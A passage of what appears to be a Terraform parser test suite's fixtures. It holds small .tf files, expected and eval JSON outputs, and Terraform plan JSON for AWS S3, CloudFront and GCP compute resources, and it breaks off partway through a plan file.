    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"NUM\": [\"1\"],\n        \"STRING\": [\"a string\"],\n        \"INVALID_ARRAY\": [\"${tostring([])}\"],\n        \"INNER_CURLY\": [\"annoying {\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/tostring_function/main.tf",
    "content": "locals {\n  NUM = tostring(1)\n  STRING = tostring(\"a string\")\n\n  # NOTE: These cases should keep the values as string, but they are currently (2020-11-15) converted to\n  #       boolean values. This is caused by the str->bool translation happening on a second loop. (The first\n  #       correctly converts to a str, the second translates to a bool.)\n  #       Desired expected:\n  #          \"TRUE\": [\"true\"],\n  #          \"FALSE\": [\"false\"],\n  #       Actual is currently:\n  #          \"TRUE\": [true],\n  #          \"FALSE\": [false],\n  # TRUE = tostring(\"true\")\n  # FALSE = tostring(\"false\")\n\n  INVALID_ARRAY = tostring([])\n\n  INNER_CURLY = tostring(\"annoying {\")\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults/eval.json",
    "content": "{\n  \"name_doesnt_matter.tf\": {\n    \"BUCKET_NAME\": {\n      \"var_file\": \"name_doesnt_matter.tf\",\n      \"value\": \"this-is-my-default\",\n      \"definitions\": [\n        {\n          \"definition_name\": \"BUCKET_NAME\",\n          \"definition_expression\": \"${var.BUCKET_NAME}\",\n          \"definition_path\": \"resource/0/aws_s3_bucket/test/bucket/0\"\n        }\n      ]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"name_doesnt_matter.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"test\": {\n            \"bucket\": [\n              \"this-is-my-default\"\n            ],\n            \"__start_line__\": 6,\n            \"__end_line__\": 8,\n            \"__address__\": \"aws_s3_bucket.test\"\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"BUCKET_NAME\": {\n          \"type\": [\"string\"],\n          \"default\": [\"this-is-my-default\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 4,\n          \"__address__\": \"BUCKET_NAME\"\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults/name_doesnt_matter.tf",
    "content": "variable \"BUCKET_NAME\" {\n  type = string\n  default = \"this-is-my-default\"\n}\n\nresource \"aws_s3_bucket\" \"test\" {\n  bucket = var.BUCKET_NAME\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/eval.json",
    "content": "{\n  \"main.tf\": {\n    \"BUCKET_NAME\": {\n      \"var_file\": \"variables.tf\",\n      \"value\": \"this-is-my-default\",\n      \"definitions\": [\n        {\n          \"definition_name\": \"BUCKET_NAME\",\n          \"definition_expression\": \"${var.BUCKET_NAME}\",\n          \"definition_path\": \"resource/0/aws_s3_bucket/test/bucket/0\"\n        }\n      ]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"test\": {\n            \"bucket\": [\n              \"this-is-my-default\"\n            ],\n            \"__start_line__\": 1,\n            \"__end_line__\": 3,\n            \"__address__\": \"aws_s3_bucket.test\"\n          }\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"variables.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"BUCKET_NAME\": {\n          \"type\": [\"string\"],\n          \"default\": [\"this-is-my-default\"],\n          \"__start_line__\": 1,\n          \"__end_line__\": 4,\n          \"__address__\": \"BUCKET_NAME\"\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/main.tf",
    "content": "resource \"aws_s3_bucket\" \"test\" {\n  bucket = var.BUCKET_NAME\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/variables.tf",
    "content": "variable \"BUCKET_NAME\" {\n  type = string\n  default = \"this-is-my-default\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_tfvars/main.tf",
    "content": "variable \"other_var_2\" {\n  default = \"abc\"\n}\n\nresource \"aws_s3_bucket\" \"my_bucket\" {\n  bucket = \"${var.other_var_2}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_tfvars/other.tfvars",
    "content": "other_var_2 = \"xyz\"\nfoo = \"nimrodIsCöol\""
  },
  {
    "path": "tests/terraform/parser/resources/plan_after_unknown/tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.3\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudfront_distribution.cloudfront\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudfront_distribution\",\n          \"name\": \"cloudfront\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"logging_config\": [\n              {\n                \"include_cookies\": false,\n                \"prefix\": \"cloudfront\"\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudfront_distribution.cloudfront\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudfront_distribution\",\n      \"name\": \"cloudfront\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": null,\n        \"after_unknown\": {\n          \"logging_config\": [\n            {\n              \"bucket\": true\n            }\n          ]\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_booleans/tfplan.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.3\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 6,\n          \"values\": {\n            \"advanced_machine_features\": [],\n            \"allow_stopping_for_update\": null,\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"auto_delete\": true,\n                \"disk_encryption_key_raw\": null,\n                \"initialize_params\": [\n                  {\n                    \"image\": \"debian-cloud/debian-9\"\n                  }\n                ],\n                \"mode\": \"READ_WRITE\"\n              }\n            ],\n            \"can_ip_forward\": false,\n            \"deletion_protection\": false,\n            \"description\": null,\n            \"desired_status\": null,\n            \"enable_display\": null,\n            \"hostname\": null,\n            \"labels\": null,\n            \"machine_type\": \"e2-medium\",\n            \"metadata\": {\n              \"a\": \"true\",\n              \"b\": \"True\",\n              \"c\": \"false\",\n              \"d\": \"False\"\n            },\n            \"metadata_startup_script\": \"echo hi > /test.txt\",\n            \"name\": \"test\",\n            \"network_interface\": [\n              {\n                \"access_config\": [\n                  {\n                    \"public_ptr_domain_name\": null\n                  }\n                ],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": [],\n                \"network\": \"default\",\n                \"nic_type\": null,\n                \"queue_count\": null\n              }\n            ],\n            \"resource_policies\": null,\n            \"scratch_disk\": [\n              {\n                \"interface\": \"SCSI\"\n              }\n            ],\n            \"service_account\": [\n              {\n                \"scopes\": [\n                  \"https://www.googleapis.com/auth/cloud-platform\"\n                ]\n              }\n            ],\n            \"shielded_instance_config\": [],\n            \"tags\": [\n              \"bar\",\n              \"foo\"\n            ],\n            \"timeouts\": null,\n            \"zone\": \"us-central1-c\"\n          },\n          \"sensitive_values\": {\n            \"advanced_machine_features\": [],\n            \"attached_disk\": [],\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"labels\": {}\n                  }\n                ]\n              }\n            ],\n            \"confidential_instance_config\": [],\n            \"guest_accelerator\": [],\n            \"metadata\": {},\n            \"network_interface\": [\n              {\n                \"access_config\": [\n                  {}\n                ],\n                \"alias_ip_range\": [],\n                \"ipv6_access_config\": []\n              }\n            ],\n            \"reservation_affinity\": [],\n            \"scheduling\": [],\n            \"scratch_disk\": [\n              {}\n            ],\n            \"service_account\": [\n              {\n                \"scopes\": [\n                  false\n                ]\n              }\n            ],\n            \"shielded_instance_config\": [],\n            \"tags\": [\n              false,\n              false\n            ]\n          }\n        },\n        {\n          \"address\": \"google_service_account.default\",\n          \"mode\": \"managed\",\n          \"type\": \"google_service_account\",\n          \"name\": \"default\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"account_id\": \"abc123\",\n            \"description\": null,\n            \"disabled\": false,\n            \"display_name\": \"Service Account\",\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"google_compute_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"advanced_machine_features\": [],\n          \"allow_stopping_for_update\": null,\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"auto_delete\": true,\n              \"disk_encryption_key_raw\": null,\n              \"initialize_params\": [\n                {\n                  \"image\": \"debian-cloud/debian-9\"\n                }\n              ],\n              \"mode\": \"READ_WRITE\"\n            }\n          ],\n          \"can_ip_forward\": false,\n          \"deletion_protection\": false,\n          \"description\": null,\n          \"desired_status\": null,\n          \"enable_display\": null,\n          \"hostname\": null,\n          \"labels\": null,\n          \"machine_type\": \"e2-medium\",\n          \"metadata\": {\n            \"a\": \"true\",\n            \"b\": \"True\",\n            \"c\": \"false\",\n            \"d\": \"False\"\n          },\n          \"metadata_startup_script\": \"echo hi > /test.txt\",\n          \"name\": \"test\",\n          \"network_interface\": [\n            {\n              \"access_config\": [\n                {\n                  \"public_ptr_domain_name\": null\n                }\n              ],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"network\": \"default\",\n              \"nic_type\": null,\n              \"queue_count\": null\n            }\n          ],\n          \"resource_policies\": null,\n          \"scratch_disk\": [\n            {\n              \"interface\": \"SCSI\"\n            }\n          ],\n          \"service_account\": [\n            {\n              \"scopes\": [\n                \"https://www.googleapis.com/auth/cloud-platform\"\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags\": [\n            \"bar\",\n            \"foo\"\n          ],\n          \"timeouts\": null,\n          \"zone\": \"us-central1-c\"\n        },\n        \"after_unknown\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"device_name\": true,\n              \"disk_encryption_key_sha256\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": true,\n                  \"size\": true,\n                  \"type\": true\n                }\n              ],\n              \"kms_key_self_link\": true,\n              \"source\": true\n            }\n          ],\n          \"confidential_instance_config\": true,\n          \"cpu_platform\": true,\n          \"current_status\": true,\n          \"guest_accelerator\": true,\n          \"id\": true,\n          \"instance_id\": true,\n          \"label_fingerprint\": true,\n          \"metadata\": {},\n          \"metadata_fingerprint\": true,\n          \"min_cpu_platform\": true,\n          \"network_interface\": [\n            {\n              \"access_config\": [\n                {\n                  \"nat_ip\": true,\n                  \"network_tier\": true\n                }\n              ],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": [],\n              \"ipv6_access_type\": true,\n              \"name\": true,\n              \"network_ip\": true,\n              \"stack_type\": true,\n              \"subnetwork\": true,\n              \"subnetwork_project\": true\n            }\n          ],\n          \"project\": true,\n          \"reservation_affinity\": true,\n          \"scheduling\": true,\n          \"scratch_disk\": [\n            {}\n          ],\n          \"self_link\": true,\n          \"service_account\": [\n            {\n              \"email\": true,\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags\": [\n            false,\n            false\n          ],\n          \"tags_fingerprint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"advanced_machine_features\": [],\n          \"attached_disk\": [],\n          \"boot_disk\": [\n            {\n              \"disk_encryption_key_raw\": true,\n              \"initialize_params\": [\n                {\n                  \"labels\": {}\n                }\n              ]\n            }\n          ],\n          \"confidential_instance_config\": [],\n          \"guest_accelerator\": [],\n          \"metadata\": {},\n          \"network_interface\": [\n            {\n              \"access_config\": [\n                {}\n              ],\n              \"alias_ip_range\": [],\n              \"ipv6_access_config\": []\n            }\n          ],\n          \"reservation_affinity\": [],\n          \"scheduling\": [],\n          \"scratch_disk\": [\n            {}\n          ],\n          \"service_account\": [\n            {\n              \"scopes\": [\n                false\n              ]\n            }\n          ],\n          \"shielded_instance_config\": [],\n          \"tags\": [\n            false,\n            false\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"google_service_account.default\",\n      \"mode\": \"managed\",\n      \"type\": \"google_service_account\",\n      \"name\": \"default\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"account_id\": \"abc123\",\n          \"description\": null,\n          \"disabled\": false,\n          \"display_name\": \"Service Account\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"email\": true,\n          \"id\": true,\n          \"name\": true,\n          \"project\": true,\n          \"unique_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"google\": {\n        \"name\": \"google\",\n        \"expressions\": {\n          \"project\": {\n            \"constant_value\": \"test\"\n          },\n          \"region\": {\n            \"constant_value\": \"europe-west2\"\n          },\n          \"zone\": {\n            \"constant_value\": \"europe-west2-c\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"boot_disk\": [\n              {\n                \"initialize_params\": [\n                  {\n                    \"image\": {\n                      \"constant_value\": \"debian-cloud/debian-9\"\n                    }\n                  }\n                ]\n              }\n            ],\n            \"machine_type\": {\n              \"constant_value\": \"e2-medium\"\n            },\n            \"metadata\": {\n              \"constant_value\": {\n                \"block-project-ssh-keys\": true\n              }\n            },\n            \"metadata_startup_script\": {\n              \"constant_value\": \"echo hi > /test.txt\"\n            },\n            \"name\": {\n              \"constant_value\": \"test\"\n            },\n            \"network_interface\": [\n              {\n                \"access_config\": [\n                  {}\n                ],\n                \"network\": {\n                  \"constant_value\": \"default\"\n                }\n              }\n            ],\n            \"scratch_disk\": [\n              {\n                \"interface\": {\n                  \"constant_value\": \"SCSI\"\n                }\n              }\n            ],\n            \"service_account\": [\n              {\n                \"email\": {\n                  \"references\": [\n                    \"google_service_account.default.email\",\n                    \"google_service_account.default\"\n                  ]\n                },\n                \"scopes\": {\n                  \"constant_value\": [\n                    \"cloud-platform\"\n                  ]\n                }\n              }\n            ],\n            \"tags\": {\n              \"constant_value\": [\n                \"foo\",\n                \"bar\"\n              ]\n            },\n            \"zone\": {\n              \"constant_value\": \"us-central1-c\"\n            }\n          },\n          \"schema_version\": 6\n        },\n        {\n          \"address\": \"google_service_account.default\",\n          \"mode\": \"managed\",\n          \"type\": \"google_service_account\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"account_id\": {\n              \"constant_value\": \"abc123\"\n            },\n            \"display_name\": {\n              \"constant_value\": \"Service Account\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_encodings/tfplan_mac_utf8.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.15.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.b\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"b\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"bucket\": \"mikeabcd123-abc\",\n            \"bucket_prefix\": null,\n            \"force_destroy\": false,\n            \"tags\": null\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_s3_bucket.b\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"b\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"bucket\": \"mikeabcd123-abc\",\n          \"bucket_prefix\": null,\n          \"force_destroy\": false,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"object_lock_enabled\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.b\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"b\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"constant_value\": \"mikeabcd123-abc\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_encodings/tfplan_win_utf8.json",
    "content": "{\"format_version\":\"1.1\",\"terraform_version\":\"1.2.2\",\"planned_values\":{\"root_module\":{\"resources\":[{\"address\":\"aws_s3_bucket.data\",\"mode\":\"managed\",\"type\":\"aws_s3_bucket\",\"name\":\"data\",\"provider_name\":\"registry.terraform.io/hashicorp/aws\",\"schema_version\":0,\"values\":{\"bucket\":\"mike-abcd123data\",\"bucket_prefix\":null,\"force_destroy\":false,\"tags\":null},\"sensitive_values\":{\"cors_rule\":[],\"grant\":[],\"lifecycle_rule\":[],\"logging\":[],\"object_lock_configuration\":[],\"replication_configuration\":[],\"server_side_encryption_configuration\":[],\"tags_all\":{},\"versioning\":[],\"website\":[]}}]}},\"resource_changes\":[{\"address\":\"aws_s3_bucket.data\",\"mode\":\"managed\",\"type\":\"aws_s3_bucket\",\"name\":\"data\",\"provider_name\":\"registry.terraform.io/hashicorp/aws\",\"change\":{\"actions\":[\"create\"],\"before\":null,\"after\":{\"bucket\":\"mike-abcd123data\",\"bucket_prefix\":null,\"force_destroy\":false,\"tags\":null},\"after_unknown\":{\"acceleration_status\":true,\"acl\":true,\"arn\":true,\"bucket_domain_name\":true,\"bucket_regional_domain_name\":true,\"cors_rule\":true,\"grant\":true,\"hosted_zone_id\":true,\"id\":true,\"lifecycle_rule\":true,\"logging\":true,\"object_lock_configuration\":true,\"object_lock_enabled\":true,\"policy\":true,\"region\":true,\"replication_configuration\":true,\"request_payer\":true,\"server_side_encryption_configuration\":true,\"tags_all\":true,\"versioning\":true,\"website\":true,\"website_domain\":true,\"website_endpoint\":true},\"before_sensitive\":false,\"after_sensitive\":{\"cors_rule\":[],\"grant\":[],\"lifecycle_rule\":[],\"logging\":[],\"object_lock_configuration\":[],\"replication_configuration\":[],\"server_side_encryption_configuration\":[],\"tags_all\":{},\"versioning\":[],\"website\":[]}}}],\"configuration\":{\"provider_config\":{\"aws\":{\"name\":\"aws\",\"full_name\":\"registry.terraform.io/hashicorp/aws\",\"expressions\":{\"access_key\":{\"constant_value\":\"1234\"},\"region\":{\"constant_value\":\"us-west-2\"}}}},\"root_module\":{\"resources\":[{\"address\":\"aws_s3_bucket.data\",\"mode\":\"managed\",\"type\":\"aws_s3_bucket\",\"name\":\"data\",\"provider_config_key\":\"aws\",\"expressions\":{\"bucket\":{\"constant_value\":\"mike-abcd123data\"}},\"schema_version\":0}]}}}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_module_with_connected_resources/s3module.tf",
    "content": "module \"s3-bucket-1\" {\n  source  = \"terraform-aws-modules/s3-bucket/aws\"\n  version = \"4.0.1\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_module_with_connected_resources/tfplan.json",
    "content": "{\n    \"format_version\": \"0.2\",\n    \"terraform_version\": \"1.0.7\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"child_modules\": [\n                {\n                    \"resources\": [\n                        {\n                            \"address\": \"module.s3-bucket.aws_s3_bucket.this[0]\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_s3_bucket\",\n                            \"name\": \"this\",\n                            \"index\": 0,\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\n                                \"force_destroy\": false,\n                                \"object_lock_enabled\": false,\n                                \"tags\": null,\n                                \"timeouts\": null\n                            },\n                            \"sensitive_values\": {\n                                \"cors_rule\": [],\n                                \"grant\": [],\n                                \"lifecycle_rule\": [],\n                                \"logging\": [],\n                                \"object_lock_configuration\": [],\n                                \"replication_configuration\": [],\n                                \"server_side_encryption_configuration\": [],\n                                \"tags_all\": {},\n                                \"versioning\": [],\n                                \"website\": []\n                            }\n                        },\n                        {\n                            \"address\": \"module.s3-bucket.aws_s3_bucket_public_access_block.this[0]\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_s3_bucket_public_access_block\",\n                            \"name\": \"this\",\n                            \"index\": 0,\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\n                                \"block_public_acls\": true,\n                                \"block_public_policy\": true,\n                                \"ignore_public_acls\": true,\n                                \"restrict_public_buckets\": true\n                            },\n                            \"sensitive_values\": {}\n                        }\n                    ],\n                    \"address\": \"module.s3-bucket\"\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"module.s3-bucket.aws_s3_bucket.this[0]\",\n            \"module_address\": \"module.s3-bucket\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket\",\n            \"name\": \"this\",\n            \"index\": 0,\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\n                    \"create\"\n                ],\n                \"before\": null,\n                \"after\": {\n                    \"force_destroy\": false,\n                    \"object_lock_enabled\": false,\n                    \"tags\": null,\n                    \"timeouts\": null\n                },\n                \"after_unknown\": {\n                    \"acceleration_status\": true,\n                    \"acl\": true,\n                    \"arn\": true,\n                    \"bucket\": true,\n                    \"bucket_domain_name\": true,\n                    \"bucket_prefix\": true,\n                    \"bucket_regional_domain_name\": true,\n                    \"cors_rule\": true,\n                    \"grant\": true,\n                    \"hosted_zone_id\": true,\n                    \"id\": true,\n                    \"lifecycle_rule\": true,\n                    \"logging\": true,\n                    \"object_lock_configuration\": true,\n                    \"policy\": true,\n                    \"region\": true,\n                    \"replication_configuration\": true,\n                    \"request_payer\": true,\n                    \"server_side_encryption_configuration\": true,\n                    \"tags_all\": true,\n                    \"versioning\": true,\n                    \"website\": true,\n                    \"website_domain\": true,\n                    \"website_endpoint\": true\n                },\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": {},\n                    \"versioning\": [],\n                    \"website\": []\n                }\n            }\n        },\n        {\n            \"address\": \"module.s3-bucket.aws_s3_bucket_public_access_block.this[0]\",\n            \"module_address\": \"module.s3-bucket\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket_public_access_block\",\n            \"name\": \"this\",\n            \"index\": 0,\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\n                    \"create\"\n                ],\n                \"before\": null,\n                \"after\": {\n                    \"block_public_acls\": true,\n                    \"block_public_policy\": true,\n                    \"ignore_public_acls\": true,\n                    \"restrict_public_buckets\": true\n                },\n                \"after_unknown\": {\n                    \"bucket\": true,\n                    \"id\": true\n                },\n                \"before_sensitive\": false,\n                \"after_sensitive\": {}\n            }\n        }\n    ],\n    \"prior_state\": {\n        \"format_version\": \"0.2\",\n        \"terraform_version\": \"1.0.7\",\n        \"values\": {\n            \"root_module\": {\n                \"child_modules\": [\n                    {\n                        \"resources\": [\n                            {\n                                \"address\": \"module.s3-bucket.data.aws_caller_identity.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_caller_identity\",\n                                \"name\": \"current\",\n                                \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                                \"schema_version\": 0,\n                                \"values\": {\n                                    \"account_id\": \"101860328116\",\n                                    \"arn\": \"arn:aws:iam::101860328116:user/atlantis\",\n                                    \"id\": \"101860328116\",\n                                    \"user_id\": \"AIDARPN2ZIK2PHMJSNYXG\"\n                                },\n                                \"sensitive_values\": {}\n                            },\n                            {\n                                \"address\": \"module.s3-bucket.data.aws_partition.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_partition\",\n                                \"name\": \"current\",\n                                \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                                \"schema_version\": 0,\n                                \"values\": {\n                                    \"dns_suffix\": \"amazonaws.com\",\n                                    \"id\": \"aws\",\n                                    \"partition\": \"aws\",\n                                    \"reverse_dns_prefix\": \"com.amazonaws\"\n                                },\n                                \"sensitive_values\": {}\n                            },\n                            {\n                                \"address\": \"module.s3-bucket.data.aws_region.current\",\n                                \"mode\": \"data\",\n                                \"type\": \"aws_region\",\n                                \"name\": \"current\",\n                                \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                                \"schema_version\": 0,\n                                \"values\": {\n                                    \"description\": \"Europe (Frankfurt)\",\n                                    \"endpoint\": \"ec2.eu-central-1.amazonaws.com\",\n                                    \"id\": \"eu-central-1\",\n                                    \"name\": \"eu-central-1\"\n                                },\n                                \"sensitive_values\": {}\n                            }\n                        ],\n                        \"address\": \"module.s3-bucket\"\n                    }\n                ]\n            }\n        }\n    },\n    \"configuration\": {\n        \"provider_config\": {\n            \"aws\": {\n                \"name\": \"aws\",\n                \"expressions\": {\n                    \"profile\": {\n                        \"constant_value\": \"razorpay-stage\"\n                    },\n                    \"region\": {\n                        \"constant_value\": \"eu-central-1\"\n                    }\n                }\n            },\n            \"module.s3-bucket:aws\": {\n                \"name\": \"aws\",\n                \"version_constraint\": \">= 5.27.0\",\n                \"module_address\": \"module.s3-bucket\"\n            }\n        },\n        \"root_module\": {\n            \"module_calls\": {\n                \"s3-bucket\": {\n                    \"source\": \"terraform-aws-modules/s3-bucket/aws\",\n                    \"module\": {\n                        \"outputs\": {\n                            \"s3_bucket_arn\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket.this[0].arn\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The ARN of the bucket. Will be of format arn:aws:s3:::bucketname.\"\n                            },\n                            \"s3_bucket_bucket_domain_name\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket.this[0].bucket_domain_name\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The bucket domain name. Will be of format bucketname.s3.amazonaws.com.\"\n                            },\n                            \"s3_bucket_bucket_regional_domain_name\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket.this[0].bucket_regional_domain_name\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL.\"\n                            },\n                            \"s3_bucket_hosted_zone_id\": {\n                                \"expression\": {\n                                    \"references\": [\n                                        \"aws_s3_bucket.this[0].hosted_zone_id\",\n                                        \"aws_s3_bucket.this[0]\",\n                                        \"aws_s3_bucket.this\"\n                                    ]\n                                },\n                                \"description\": \"The Route 53 Hosted Zone ID for this bucket's region.\"\n                            },\n                            \"s3_bucket_id\": {\n                                \"expression\": 